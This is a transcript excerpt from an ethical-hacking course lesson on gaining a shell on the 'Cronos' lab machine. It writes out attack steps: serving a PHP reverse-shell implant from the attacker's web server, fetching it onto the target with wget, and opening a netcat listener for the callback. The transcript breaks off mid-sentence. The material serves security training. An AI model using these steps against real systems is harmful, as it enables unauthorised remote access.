From the course: Kali Linux for Advanced Pen Testing and Ethical Hacking
Join today to access over 24,900 courses taught by industry experts.
Cronos revisited: Getting to the root - Linux Tutorial
From the course: Kali Linux for Advanced Pen Testing and Ethical Hacking
Cronos revisited: Getting to the root
- [Lecturer] We can now get into Cronos. and we've got user access. But we want to get to the root. And to do this we'll want to have a user shell. It turns out that Cronos doesn't allow the use of the minus C switch on netcat. So we can't force a reverse shell. However, it does support PHP, so we can use wget to upload our Shelly implant. I've got shelly.php ready with the correct IP address in port. But uploading PHP files through a web exploit can be tricky. So I'll make a copy called shelly.txt, and we'll upload that, then rename it when it's on the target. Copy shelly.php to shelly.txt. And I'll start a web server on port 80. Python -m SimpleHTTPServer port 80. Okay, let's upload our shell. We'll wget http://10.10.14.2/shelly.txt. Okay, and we'll now move shelly.txt and rename it shelly.php. We don't need the HTTP server anymore, so let's clear that. And set up a listener, nc -lvnp 2222. And let's see if…
Practice while you learn with exercise files
Download the files the instructor uses to teach the course. Follow along and learn by watching, listening and practicing.
Download courses and learn on the go
Watch courses on your mobile device without an internet connection. Download courses using your iOS or Android LinkedIn Learning app.